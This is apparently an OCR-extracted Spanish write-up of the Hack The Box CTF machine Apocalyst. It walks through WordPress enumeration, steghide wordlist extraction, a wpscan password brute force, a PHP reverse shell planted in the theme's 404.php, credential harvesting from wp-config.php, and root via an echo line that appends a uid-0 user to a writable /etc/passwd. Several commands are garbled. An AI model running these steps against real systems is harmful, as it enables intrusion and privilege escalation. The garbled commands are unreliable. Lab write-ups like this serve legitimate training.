Writeup CTF Apocalyst
Hack The Box

Apocalyst
0S: 4§ Linux
Difficulty: Medium
Points: 30
Release: 18 Aug 2017

IP: 10.10.10.46
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O- Introduccion

CTF Apocalyst de Hack The Box. Para solucionar este CTF, debemos crear una lista de
palabras para encontrar un archivo de imagen especifico en el sitio y luego extraer otra
lista de esa imagen usando StegHide. Esa lista contiene la contrasefia del usuario de
WordPress, que da acceso al panel de administracion y, por lo tanto, a la ejecucién. Para
rootear, encontraré un archivo passwd grabable y agregaré un usuario root.

1- Enumeracion

1.1. NMAP
Como siempre, comenzamos realizando un escaneo de los servicios abiertos en el target.

kaligkali sudo nmap -p- —min-rate @ —open -vvv -Pn -n 10.10.10.46 -0oG allpt
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Descubrimientos interesantes:

- Puerto 22: SSH OpenSSH 7.2
- Puerto 80: HTTP Apache 2.4.18 ejecutando WordPress 4.8

Afadimos el dominio apocalyst.htb al archivo /etc/hosts.



https://www.hackthebox.com/

1.2.  WPscan
Como estamos ante un CMS WordPress, vamos a escanarlo con wpscan para ver qué
informacidn tenemos disponible.

wpscan —url http

Después de ejecutar el script la informacion mas importante que hemos encontrado es un
nombre posible de usuario.

falaraki

| Found By: Author Posts - Display MName (Passive Detection)
| Confirn \

| Generator (Passive D ion)
| uthor Pattern (Aggressiwve
| etection)

falaraki es el nombre de usuario encontrado.

1.3. Enumeracion de directorios

Como tenemos un servidor web, vamos a realizar una enumeracion de directorios por si
hubiese informacion de interés. Al mismo tiempo vamos a abrir el puerto 80 en el
navegador. Para la enumeracion de directorios vamos a utilizar la herramienta ffuf.

ffuf -u htt C / i/ sts/Disc
txt,.zip, .html, .php, .b
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Ademas de multiples endpoints que redireccionaban a la misma imagen.
Vamos a crear una wordlist especifica para esta web con la herramienta cewl.
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Obtenemos mudltiples directorios que devuelven codigo 200. De entre todos estos
endpoinsts, destaca /Rightiousness/ con una longitud diferente a pesar de que todas las
paginas en list.txt tienen la misma imagen.




1.4. Esteganografia

<!/DOCTYPE html=

<html lang="en"= |Scroll

¥ <head: [=- nead

v <body= [Overflow
<img src="image.jpg">
=!--needle--=

</ body>
<fhtml=

Descargamos la imagen contenida.

kaligkali wget http://10.10.10.46/Rightiousness/image. jpg
—2022-07-05 09:56:49— http://10.10.10.46/Rightiousness/image. jpg

Connecting to 10.10.10.46:80 ... connected.

HTTP request sent, awaiting response ... 200 OK

Length: 215541 (210K) [image/jpeg]

Saving to: ‘image.jpg’

image. jpg 100%[ ] 210.49K 430KB/s in 0.5s

2022-07-05 09:56:50 (430 KB/s) - ‘image.jpg’ saved [215541/215541]

Comenzamos extrayendo los metadatos de la imagen.




exiftool image.jpg

rsion Number

on Date/Time
Tin
ate/Time
ions

Extension

Pero no contiene informacién interesante.

Ejecutamos steghide sin password. Como resultado tenemos una lista de palabras que
pueden ser interesantes.
kaligkali steghide extract -sf image.jpg

passphrase:
. overwrite ? (y/mn) vy

1.5.  Enumeracién de contrasefias WP

Vamos a intentar buscar la contrasefia de usuario para WP. Para ello, utilizamos el nombre
de usuario encontrado anteriormente y hacemos fuerza bruta con wpscan sobre wp-login
utilizando la lista de palabras list.txt que extrajimos haciendo esteganografia.

wpscan —url http: ocalyst.htb -U falaraki -P ./list.txt -——password

can Team

attic.com/

Valid ¢ i ions Found:
| Username: fa ki, Password: Transclisiation
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2- Elevacion de privilegios
2.1. Reverse Shell

Con el usuario que tenemos vamos a logearnos en http://apocalyst.htb/wp-login.php .
Accedemos al panel de control de WP.

Nos desplazamos a http://apocalyst.htb/wp-admin/themes.php y vemos que el tema
activado es Twenty Seventeen. Nos desplazamos al editor y editamos el 404.php para
afiadir la reverse Shell.

La reverse que vamos a utilizar es esta de Pentest Monkey.
Guardamos la modificacion y habilitamos un oyente en la maquina atacante.

Ejecutamos  http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php y vya
deberia haber conexidn entre la maquina atacante y el objetivo.

rlwrap nc -lnvp 4444

EL @.08
LOGIND IDLE
ww-data) groups www-data)
tty; job control rned off

Una vez establecemos conexion, nos dirigimos al directorio donde se ejecuta WP,
Ivariwww/html/. Una vez alli, buscamos el directorio del dominio objetivo y vemos que
archivos contiene.

kaligkali rlwrap nc -lnvp 4444
listening on [any] 4444 ...

connect to [10.10.16.3] from (UNKNOWN) [10.10.10.46] 44994

Linux apocalyst 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
15:38:17 up 4:07, O users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIN® IDLE JCPU PCPU WHAT
uid=33(wmw-data) gid=33(www-data) groups=33(ww-data)

/bin/sh: @: can't access tty; job control turned off

pwd

/

cd var/vww/html

pwd

/var /v /html

1s

apocalyst.htb

index.html

testdir.htb

Dentro de este directorio vemos archivos interesantes como wp-config.php Veamos su
contenido.



http://apocalyst.htb/wp-login.php
http://apocalyst.htb/wp-admin/themes.php
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php

/ *x MySQL settings - You ca your web host ** //
/#*% The name of the database for WordPress +/
define( '"DB_NAME', 'wp_myblog');

/** MySQL database
define( 'DB_USER',

/*% MySQL database password */
("DB_PASSWORD', "Th3SoopaD@@paPas5!");

/** MySQL hostname =*/
define( 'DB_HOST', "localhost');

Tenemos lo que parecen ser credenciales para una base de datos MySQL. Vamos a
comprobarlo.

mysql -uroot -D wp_myblog -p -e 'select user_login,user_pass from wp_users;’
Th3SoopaD@@paPass!

user_login UsSer_pass

falaraki /ImE51thx39mQgBAFXywQWZ . ebZ.

Pero esto parece ser un agujero de conejo. Intentamos decodificar el user_pass tanto con
hascat como con John, pero no es posible.

2.2. Flag user.txt
En este punto, vamos a dirigirnos al directorio de usuario para ver qué informacion
contiene.

Dentro del directorio del usuario obtenemos la flag user.txt.

2.3. Flag root.txt
Veamos los archivos ocultos dentro del directorio.
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falaraki falaraki !¢
root root

falaraki falaraki

[ I SR SC I

.5 in_successful
JWp- Lan+1g.php.5wp

-TW-T— T — r
+41314P1 +qla:qk1 ] ; *31 user.txt

-r—-r—T1—

el el e

Tenemos un archivo llamado .secret, que parece tener algunos datos codificados en
base64:

baset4 -d; echo
o tting password so this will keep 1
YOUAINTG37TiNgTH!sUzersP4ss

Aprovechando el usuario falaraki y la contrasefia obtenida, nos conectamos a la maquina
victima con este usuario.

"import pty; pty.spawn("/bin/bash”)

Una vez llegado a este punto, vamos a subir Linpeas.sh a la maquina victima. Para ello
habilitamos un servidor con Python.
kalimkali ' 3 ttp.server 8000

erving HTTP on @ 't 8008 (http:
18.1@.10@.46 - - [QEEJUIH 2 11:1@:21] "GET /linp ;aS.Jh HTTPHI 1" 2@ -

Y ejecutamos Linpeas en la maquina victima.

Interesting writable files owned by me or writable by everyone (not in Home) (max 500)

fdev/mgueue
/dev/shm
/run/lock
/run/lock/apache2




El archivo /etc/passwd es editable. Posible vector de elevacion de privilegios. Vamos a
intentar la elevacion de privilegios por este vector.

etc
-1 passwd
-Tw-Tw-TW- 1 root root 1637 Jul 26 2017 passwd

Creamos un usuario con privilegios root y lo afiadimos al archivo /etc/passwd

openssl passwd elhackeretico
Warning: truncating password to 8 characters
MtZ j3bulbekw
echo "elhat retico:MtZj3bulbekwg:@:@:User_like_root:/root:/bin/bash” >> /fetc/passwd
su elha tico
sU: mus = run from a termimal
'import pty; pty.spawn("/bin/bash")’
tico
etico

t) groups=0(root)

10

in etc lib media proc sbin sys wvar

oot  home libs4 mnt root snap tmp wmlinuz
initrd.img lost+found opt run STV usr

d root

d root
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Y finalizamos el CTF.
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